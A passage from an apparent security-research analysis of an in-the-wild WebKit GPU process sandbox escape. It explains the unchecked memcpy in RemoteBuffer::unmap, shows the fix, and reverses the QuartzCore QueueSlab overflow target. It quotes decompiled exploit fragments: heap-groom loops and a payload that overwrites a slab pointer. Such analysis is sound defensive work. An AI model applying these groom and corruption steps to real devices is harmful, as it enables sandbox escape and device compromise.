<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025be37d0+0x28</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ^</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">--- kernel stack | | userspace stack ---</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">libsystem_kernel.dylib`mach_msg2_trap</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOKit`io_connect_method</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOKit`IOConnectCallMethod</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOGPU`IOGPUResourceCreate</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOGPU`-[IOGPUMetalResource initWithDevice:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remoteStorageResource:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> args:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> argsSize:]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOGPU`-[IOGPUMetalBuffer initWithDevice:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pointer:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> length:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alignment:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sysMemSize:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> gpuAddress:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> args:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> argsSize:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> deallocator:]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">AGXMetalG13X`-[AGXBuffer(Internal) initWithDevice:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> length:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alignment:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> isSuballocDisabled:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> resourceInArgs:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pinnedGPULocation:]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">AGXMetalG13X`-[AGXBuffer initWithDevice:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> length:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alignment:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> isSuballocDisabled:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pinnedGPULocation:]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">AGXMetalG13X`-[AGXG13XFamilyDevice newBufferWithDescriptor:]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOGPU`IOGPUMetalSuballocatorAllocate</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span>The algorithm which </span><span class="YrefKOOkxY-c3">IOMemoryDescriptor::createMappingInTask</span><span> will use to find space in the task virtual memory is identical to that used by </span><span class="YrefKOOkxY-c3">vm_allocate</span><span>, which starts to explain why the "heap groom" seen earlier is so simple, as </span><span class="YrefKOOkxY-c3">vm_allocate</span><span class="YrefKOOkxY-c5"> uses a simple bottom-up first fit algorithm.</span></p><h3 class="YrefKOOkxY-c6" id="h.fntnlbbhda7y"><span class="YrefKOOkxY-c10">mapAsync</span></h3>
<p class="YrefKOOkxY-c2"><span>With the origin of the buffer figured out we can trace the GPU process side of the </span><span class="YrefKOOkxY-c3">mapAsync</span><span> IPC. Through various layers of indirection we eventually reach the following code with controlled </span><span class="YrefKOOkxY-c3">offset</span><span> and </span><span class="YrefKOOkxY-c3">size</span><span class="YrefKOOkxY-c5"> values:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void* Buffer::getMappedRange(size_t offset, size_t size)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // https://gpuweb.github.io/gpuweb/#dom-gpubuffer-getmappedrange</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto rangeSize = size;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (size == WGPU_WHOLE_MAP_SIZE)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> rangeSize = computeRangeSize(m_size, offset);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!validateGetMappedRange(offset, rangeSize)) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // FIXME: "throw an OperationError and stop."</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return nullptr;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_mappedRanges.add({ offset, offset + rangeSize });</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_mappedRanges.compact();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> return static_cast<char*>(</span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">m_buffer.contents</span><span class="YrefKOOkxY-c0">) + offset;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">m_buffer.contents</span><span> is the base of the buffer which the GPU kernel driver mapped into the GPU process address space via </span><span class="YrefKOOkxY-c3">AGXAccelerator::createBufferMemoryDescriptorInTaskWithOptions</span><span>. This code stores the requested mapping range in </span><span class="YrefKOOkxY-c3">m_mappedRanges</span><span> then returns a raw pointer into the underlying page. Higher up the callstack that raw pointer and length is stored into the </span><span class="YrefKOOkxY-c3">m_mappedRange</span><span> field. The higher level code then makes a copy of the contents of the buffer at that offset, wrapping that copy in a </span><span class="YrefKOOkxY-c3">Vector<></span><span class="YrefKOOkxY-c5"> to send back over IPC.</span></p><h3 class="YrefKOOkxY-c6" id="h.3k0n1m4o2k87"><span class="YrefKOOkxY-c10">unmap</span></h3>
<p class="YrefKOOkxY-c2"><span>Here's the implementation of the </span><span class="YrefKOOkxY-c3">RemoteBuffer_Unmap</span><span> IPC on the GPU process side. At this point </span><span class="YrefKOOkxY-c3">data</span><span> is a </span><span class="YrefKOOkxY-c3">Vector<></span><span class="YrefKOOkxY-c5"> sent by the WebContent client.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void RemoteBuffer::unmap(Vector<uint8_t>&& data)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!m_mappedRange)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ASSERT(m_isMapped);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (m_mapModeFlags.contains(PAL::WebGPU::MapMode::Write))</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> memcpy(m_mappedRange->source, data.data(), data.size());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_isMapped = false;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_mappedRange = std::nullopt;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_mapModeFlags = { };</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The issue is a sadly trivial one: whilst the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span> code does check that the client has previously mapped this buffer object - and thus </span><span class="YrefKOOkxY-c3">m_mappedRange</span><span> contains the offset and size of that mapped range - it fails to verify that the size of the </span><span class="YrefKOOkxY-c3">Vector<></span><span> of "modified contents" actually matches the size of the previous mapped range. Instead the code simply blindly </span><span class="YrefKOOkxY-c3">memcpy</span><span>'s the</span><span> client-supplied </span><span class="YrefKOOkxY-c3">Vector<></span><span> into the mapped range using the </span><span class="YrefKOOkxY-c3">Vector<></span><span class="YrefKOOkxY-c5">'s size rather than the range's.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>This unchecked </span><span class="YrefKOOkxY-c3">memcpy</span><span class="YrefKOOkxY-c5"> using values directly from an IPC is the in-the-wild sandbox escape vulnerability.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/commit/54408f5746f2401721bd56d71de132a22b6f9856">Here's the fix</a></span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void RemoteBuffer::unmap(Vector<uint8_t>&& data)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0 YrefKOOkxY-c26">- if (!m_mappedRange)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0 YrefKOOkxY-c7">+ if (!m_mappedRange || m_mappedRange->byteLength < data.size())</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ASSERT(m_isMapped);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>It should be noted that </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://chromium.googlesource.com/chromium/src/+/main/docs/security/research/graphics/webgpu_technical_report.md">security issues with WebGPU are well-known</a></span><span> and the javascript interface to WebGPU is disabled in Safari on iOS. But the IPC's which support that javascript interface were </span><span class="YrefKOOkxY-c28">not</span><span> disabled, meaning that WebGPU still presented a rich sandbox-escape attack surface. </span><span>This seems like a significant oversight.</span></p><h3 class="YrefKOOkxY-c6" id="h.sgxbxdylz3io"><span class="YrefKOOkxY-c10">Destination unknown?</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Finding the allocation site for the GPU buffer wasn't trivial; the allocation site for the buffer was hard to determine statically, which made it hard to get a picture of what objects were being groomed. Figuring out the overflow target and its allocation site was similarly tricky.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Statically following the implementation of the </span><span class="YrefKOOkxY-c3">RemoteRenderingBackend::CreateImageBuffer</span><span class="YrefKOOkxY-c5"> IPC, which, based on the high-level flow of the exploit, appeared like it must be responsible for allocating the overflow target again quickly ended up in system library code with no obvious targets.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Working with the theory that because of the simplicity of the heap groom it was likely that </span><span class="YrefKOOkxY-c3">vm_allocate</span><span>/</span><span class="YrefKOOkxY-c3">mmap</span><span> was somehow responsible for the allocations I set breakpoints on those APIs on an M1 mac in the Safari GPU process and ran the WebGL conformance tests. There was only a single place where </span><span class="YrefKOOkxY-c3">mmap</span><span class="YrefKOOkxY-c5"> was called:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">Target 0: (com.apple.WebKit.GPU) stopped.</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">(lldb) bt</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">* thread #30, name = 'RemoteRenderingBackend work queue',</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> stop reason = breakpoint 12.1</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">* frame #0: mmap</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #1: QuartzCore`CA::CG::Queue::allocate_slab</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #2: QuartzCore`CA::CG::Queue::alloc</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #3: QuartzCore`CA::CG::ContextDelegate::fill_rects</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #4: QuartzCore`CA::CG::ContextDelegate::draw_rects_</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #5: CoreGraphics`CGContextFillRects</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #6: CoreGraphics`CGContextFillRect</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #7: CoreGraphics`CGContextClearRect</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #8: WebKit::ImageBufferShareableMappedIOSurfaceBackend::create</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #9: WebKit::RemoteRenderingBackend::createImageBuffer</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This corresponds perfectly with the IPC we see called in the heap groom above!</span></p><h3 class="YrefKOOkxY-c6" id="h.7spv7up7sx8t"><span class="YrefKOOkxY-c10">To the core...</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">QuartzCore</span><span> is part of the low-level drawing/rendering code on iOS. Reversing the code around the mmap site it seems to be a custom queue type used for drawing commands. Dumping the </span><span class="YrefKOOkxY-c3">mmap</span><span>'ed </span><span class="YrefKOOkxY-c3">QueueSlab</span><span class="YrefKOOkxY-c5"> memory a little later on we see some structure:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">(lldb) x/10xg $x0</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x13574c000: 0x00000001420041d0 0x0000000000000000</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x13574c010: 0x0000000000004000 0x0000000000003f10</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x13574c020: 0x000000013574c0f0 0x0000000000000000</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Reversing some of the surrounding QuartzCore code we can figure out that the header has a structure something like this:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">struct QuartzQueueSlab</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> struct QuartzQueueSlab *free_list_ptr;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t size_a;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t mmap_size;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t remaining_size;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t buffer_ptr;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t f;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint8_t inline_buffer[16336];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">};</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">It's a short header with a free-list pointer, some sizes then a pointer into an inline buffer. The fields are initialized like this:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->free_list_ptr = 0;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->size_a = 0;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->mmap_size = mmap_size;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->remaining_size = mmap_size - 0x30;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->buffer_ptr = mapped_base->inline_buffer;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIqwtuc-0ZTnOb6WGHuqEg5P-gZ3Bf1fqfku2h66HxqhyphenhyphenJmhWFCFMwUTu2ohIfkpvNaj1ocPCESnt_HTMgMaxLzZbLey_tsxIrL8nRJrIa3EGvvOd85kwTppcuFay53pvegAUQ9InLI4D-QHKr9iazM-9MZMdz5gcS7_-AYjnX6bL5wWAzZoS6QnvipnI/s402/image4.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIqwtuc-0ZTnOb6WGHuqEg5P-gZ3Bf1fqfku2h66HxqhyphenhyphenJmhWFCFMwUTu2ohIfkpvNaj1ocPCESnt_HTMgMaxLzZbLey_tsxIrL8nRJrIa3EGvvOd85kwTppcuFay53pvegAUQ9InLI4D-QHKr9iazM-9MZMdz5gcS7_-AYjnX6bL5wWAzZoS6QnvipnI/s402/image4.png" border="0" alt="Diagram showing the state of a fresh QueueSlab, with the end pointer pointing to the start of the inline buffer." style="max-height: 750px; max-width: 600px;"title="Diagram showing the state of a fresh QueueSlab, with the end pointer pointing to the start of the inline buffer." /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> is a simple allocator. </span><span class="YrefKOOkxY-c3">end</span><span> starts off pointing to the start of the inline buffer; getting bumped up each allocation as long as </span><span class="YrefKOOkxY-c16">remaining</span><span class="YrefKOOkxY-c5"> indicates there's still space available:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjov058qoKcaKJw4Uoeq3WxRsoHyKokXVcHkKGabincvB7SKbtRgEJUKcF_jRyORK3M6aKH4EHHOnnTLVo4SS9VKvRIct1t5ZzVBp2D6Pvtz6LrBmFic5aQmKW0XTylkd9k_M7RqzIAXEN146E2taGVgf00lTbcK-iez0LB6_Sma02AhnVSpN3ORaP3ZU0/s401/image1.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjov058qoKcaKJw4Uoeq3WxRsoHyKokXVcHkKGabincvB7SKbtRgEJUKcF_jRyORK3M6aKH4EHHOnnTLVo4SS9VKvRIct1t5ZzVBp2D6Pvtz6LrBmFic5aQmKW0XTylkd9k_M7RqzIAXEN146E2taGVgf00lTbcK-iez0LB6_Sma02AhnVSpN3ORaP3ZU0/s401/image1.png" border="0" alt="Diagram showing the end pointer moving forwards within the allocated slab buffer" style="max-height: 750px; max-width: 600px;"title="Diagram showing the end pointer moving forwards within the allocated slab buffer" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Assuming that this very likely is the corruption target; the bytes which the call to </span><span class="YrefKOOkxY-c3">RemoteBuffer::Unmap</span><span class="YrefKOOkxY-c5"> would corrupt this header with line up like this:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg36uw0ZWS_Oufz6ILmIJGcbvm_gWPLVB7RDlaMLKAk0BDUDBAaka1uNs-cnhLBErOguET_SAsBprti8NkDcwvx42X6ujBuyegyMd9y3oezr7U1S5e2YZyXfCOPd0zbGjlt1EfJvV7etxNLb25g357NdxWWPJ7Aay6XPm39JiT9HdXieHUVVs3eZ8u44yk/s506/image13.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg36uw0ZWS_Oufz6ILmIJGcbvm_gWPLVB7RDlaMLKAk0BDUDBAaka1uNs-cnhLBErOguET_SAsBprti8NkDcwvx42X6ujBuyegyMd9y3oezr7U1S5e2YZyXfCOPd0zbGjlt1EfJvV7etxNLb25g357NdxWWPJ7Aay6XPm39JiT9HdXieHUVVs3eZ8u44yk/s506/image13.png" border="0" alt="Diagram showing the QueueSlab fields corrupted by the primitive and have the arg value replaces the end inline buffer pointer" style="max-height: 750px; max-width: 600px;"title="Diagram showing the QueueSlab fields corrupted by the primitive and have the arg value replaces the end inline buffer pointer" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[0] = 0x7F6F3229LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[1] = 0LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[2] = 0LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[3] = 0xFFFFLL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[4] = arg;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">return IPC_RemoteBuffer_Unmap(dst, b, 40LL);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The exploit's wrapper around the </span><span class="YrefKOOkxY-c3">RemoteBuffer::Unmap</span><span> IPC takes a single argument, which would like up perfectly with the inline-buffer pointer of the </span><span class="YrefKOOkxY-c3">QueueSlab</span><span class="YrefKOOkxY-c5">, replacing it with an arbitrary value.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The queue slab is pointed to by a higher-level </span><span class="YrefKOOkxY-c3">CA::CG::Queue</span><span> object, which in turn is pointed to by a </span><span class="YrefKOOkxY-c3">CGContext</span><span class="YrefKOOkxY-c5"> object.</span></p><h3 class="YrefKOOkxY-c6" id="h.91c9rdruvafm"><span class="YrefKOOkxY-c10">Groom 2</span></h3>
<p class="YrefKOOkxY-c2"><span>Before triggering the </span><span class="YrefKOOkxY-c3">Unmap</span><span class="YrefKOOkxY-c5"> overflow there's another groom:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">remote_device_after_base_id = rand();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (j = 0; j < 200; j++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDevice_CreateBuffer_16k(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remote_device_after_base_id + j);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_b);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_a);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_CacheNativeImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 34LL);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_b);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_a);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (k = 0; k < 200; k++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDevice_CreateBuffer_16k(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remote_device_after_base_id + 200 + k);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>This is clearly trying to place an allocation related to </span><span class="YrefKOOkxY-c3">RemoteRenderingBackend::CacheNativeImage</span><span> near a large number of allocations related to </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span> which is the IPC we saw earlier which causes the allocation of </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> objects. The purpose of this groom will become clear later.</span></p><h3 class="YrefKOOkxY-c6" id="h.m922711g24nn"><span class="YrefKOOkxY-c10">Overflow 1</span></h3>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The core primitive for the first overflow involves 4 IPC methods:</span></p>
